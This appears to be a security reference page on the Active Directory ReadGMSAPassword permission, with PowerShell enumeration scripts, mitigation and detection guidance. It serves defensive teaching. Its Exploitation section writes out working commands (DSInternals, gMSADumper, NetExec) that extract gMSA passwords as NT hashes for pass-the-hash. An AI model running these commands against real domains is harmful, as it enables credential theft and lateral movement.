ReadGMSAPassword

Summary

FSProtect ACL Alias

ReadGMSAPassword

Affected Object Types

Group Managed Service Accounts (GMSAs)

Exploitation Certainty

Certain

AD Attribute

msDS-GroupMSAMembership

AD Attribute Guid

888eedd6-ce04-df40-b462-b8a50e41ba38

Description

Group Managed Service Accounts (GMSAs) The ReadGMSAPassword permission in Active Directory allows an account to read the passwords associated with Group Managed Service Accounts (GMSAs). GMSAs are designed for automated and secure service account management, enabling services and applications to authenticate seamlessly without manual password handling. If the PrincipalsAllowedToRetrieveManagedPassword attribute is not configured, administrators or users cannot view these passwords. By granting the ReadGMSAPassword permission to services, organizations facilitate seamless authentication processes, reduce the administrative overhead of manual password management, and enhance overall security by ensuring that service account credentials are complex and regularly updated without human intervention.

However, if the ReadGMSAPassword permission is misconfigured, an attacker can extract the passwords of GMSA accounts, which are integrated with numerous critical services and applications. With access to these credentials, the attacker can impersonate service accounts to interact with critical services, access sensitive data repositories, and manipulate essential infrastructure components. This level of access can facilitate lateral movement across the network, enable unauthorized data exfiltration, and allow for the deployment of malicious configurations or software.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate ReadGMSAPassword entries.

1. Find-ReadGMSAPassword function

function Find-ReadGMSAPassword {
    [CmdletBinding()]
    param ( [string]$Target, [string]$OutputPath = "ReadGMSAPassword.csv")
    Import-Module ActiveDirectory -ErrorAction Stop
    if ($Target) {
        Write-Host "Searching for gMSAs under '$Target'..." -ForegroundColor Yellow
        $serviceAccounts = Get-ADServiceAccount -Filter * -SearchBase $Target -Properties 'msDS-GroupMSAMembership'
    } else {
        Write-Host "Searching for all gMSAs in the domain..." -ForegroundColor Yellow
        $serviceAccounts = Get-ADServiceAccount -Filter * -Properties 'msDS-GroupMSAMembership'
    }
    $results = foreach ($sa in $serviceAccounts) {
        if ($sa.'msDS-GroupMSAMembership') {
            foreach ($entry in $sa.'msDS-GroupMSAMembership') {
                [PSCustomObject]@{
                    GMSA              = $sa.Name
                    DistinguishedName = $sa.DistinguishedName
                    AllowedPrincipal  = $entry.Access.IdentityReference
                    AccessType        = $entry.Access.AccessControlType
                }
            }
        }
    }
    if ($results) {
        Write-Host "Found $($results.Count) gMSA(s) with retrievable password permissions." -ForegroundColor Green
        try {
            $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
            Write-Host "Results exported to '$OutputPath'" -ForegroundColor Green
        } catch {
            Write-Error "Failed to export results to '$OutputPath'. Error: $_"
        }
    } else {
        Write-Host "No gMSAs with msDS-GroupMSAMembership set were found." -ForegroundColor Green
    }
}

2. Scan all domain service accounts

Find-ReadGMSAPassword

3. Scan a specific service account

Find-ReadGMSAPassword -Target "CN=gmsa,CN=Managed Service Accounts,DC=forestall,DC=labs"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate ReadGMSAPassword entries without relying on any external modules or dependencies.

1. Find-ReadGMSAPasswordSimple function

 function Find-ReadGMSAPasswordSimple {
    [CmdletBinding()]
    param(  [string]$Target, [string]$OutputPath = "ReadGMSAPassword.csv")
    $results = New-Object System.Collections.Generic.List[object]
    try {
        if ($Target) {
            $searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target")
        } else {
            $root   = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
            $baseDN = $root.Properties["defaultNamingContext"][0]
            $searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$baseDN")
        }
        $searcher = New-Object System.DirectoryServices.DirectorySearcher($searchRoot)
        $searcher.Filter = "(|(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-ManagedServiceAccount))"
        $searcher.PageSize = 1000
        foreach ($p in @("distinguishedName","name","msDS-GroupMSAMembership")) {
            [void]$searcher.PropertiesToLoad.Add($p)
        }
        $hits = $searcher.FindAll()
        foreach ($hit in $hits) {
            $props = $hit.Properties
            $dn    = if ($props["distinguishedname"]) { $props["distinguishedname"][0] } else { "<unknown>" }
            $name  = if ($props["name"]) { $props["name"][0] } else { $dn }

            if ($props["msds-groupmsamembership"]) {
                foreach ($val in $props["msds-groupmsamembership"]) {
                    try {
                        $rsd = New-Object System.Security.AccessControl.RawSecurityDescriptor($val,0)
                    } catch {
                        Write-Warning "Failed to parse msDS-GroupMSAMembership on '$name': $_"
                        continue
                    }
                    foreach ($ace in $rsd.DiscretionaryAcl) {
                        $common = $ace -as [System.Security.AccessControl.CommonAce]
                        if (-not $common) { continue }

                        $type = switch ($common.AceType) {
                            ([System.Security.AccessControl.AceType]::AccessAllowed) { "Allow" }
                            ([System.Security.AccessControl.AceType]::AccessDenied)  { "Deny"  }
                            default { continue }
                        }
                        $sid = $common.SecurityIdentifier
                        $who = try { $sid.Translate([System.Security.Principal.NTAccount]).Value } catch { $sid.Value }
                        $results.Add([PSCustomObject]@{
                            GMSA              = $name
                            DistinguishedName = $dn
                            AllowedPrincipal  = $who
                            AccessType        = $type
                        })
                    }
                }
            }
        }
    } catch {
        Write-Error "LDAP enumeration failed: $_"
        return
    }
    if ($results.Count -gt 0) {
        try {
            $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Host "Found $($results.Count) ACE(s) on gMSA msDS-GroupMSAMembership. Exported to '$OutputPath'."
        } catch {
            Write-Warning "Export failed: $_"
        }
    } else {  Write-Host "No msDS-GroupMSAMembership ACLs found on gMSAs."}
}

2. Scan all domain service accounts

Find-ReadGMSAPasswordSimple

3. Scan a specific service account

 Find-ReadGMSAPasswordSimple -Target "CN=gmsa,CN=Managed Service Accounts,DC=forestall,DC=labs"

Exploitation

This permission can be exploited on Windows systems with DSInternals, while on Linux systems, tools such as GMSADumper can be effectively used for exploitation.

Windows

An attacker can Read GMSA Password with this cmdlet on Windows. (DSInternals should be installed) DSInternals

$GMSA = Get-ADServiceAccount -Identity '<GMSA>' -Properties 'msDS-ManagedPassword'
$mp = $GMSA.'msDS-ManagedPassword'
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash

Example:

$GMSA = Get-ADServiceAccount -Identity 'GMSA' -Properties 'msDS-ManagedPassword'
$mp = $GMSA.'msDS-ManagedPassword'
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash

After this, you can obtain NT Hash. With NT Hash attacker can perform attacks like PassTheHash

Linux

An attacker can get GMSA password with this command on Linux. (You should download the GMSADumper tool before running the command) GMSADumper

python3 GMSADumper.py -u 'User' -p '<Password>' -d '<Domain FQDN>'

Example:

python3 gMSADumper.py -u adam -p 'Temp123!' -d Forestall.labs

Read GMSA NT hash using NetExec

nxc ldap <dcip> -u <user> -p '<pass>' --gmsa

Example:

nxc ldap 192.168.121.134 -u Adam -p 'Temp123!' --gmsa

Mitigation

In the script below, assign the vulnerable GMSA’s distinguished name to the GMSADistinguishedName variable and the dangerous user’s name to the DangerousUser variable.

(To run this script successfully, you should have Write permission on the msDS-GroupMSAMembership attribute of the GMSA object (Write msDS-GroupMSAMembership). This permission is typically granted to Domain Admins and Enterprise Admins. If you do not have this permission, you will need to contact your Active Directory administrator to perform this action.)

$GMSADistinguishedName = 'CN=GMSA,CN=Managed Service Accounts,DC=forestall,DC=labs'
$DangerousUser = 'FORESTALL\Attacker'
$GMSA = Get-ADServiceAccount -Identity 'GMSA' -Properties 'msDS-GroupMSAMembership'
$cleanUsers = @()
$exc = $GMSA.'msDS-GroupMSAMembership'.Access.IdentityReference |
    Where-Object { $_ -ne $DangerousUser } |
    ForEach-Object {
        $name = $_ -replace '^[^\\]+\\'
        $cleanUsers += $name
    }
Set-ADServiceAccount -Identity $GMSA.Name -PrincipalsAllowedToRetrieveManagedPassword $cleanUsers

Detection

Adding new access control entries to Active Directory objects changes the ntSecurityDescriptor attribute of the objects. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications.

Event ID
Description
Fields/Attributes
References

5136

A directory service object was modified.

ntSecurityDescriptor

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136

4662

An operation was performed on an object.

AccessList, AccessMask

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662

References

Last updated

Was this helpful?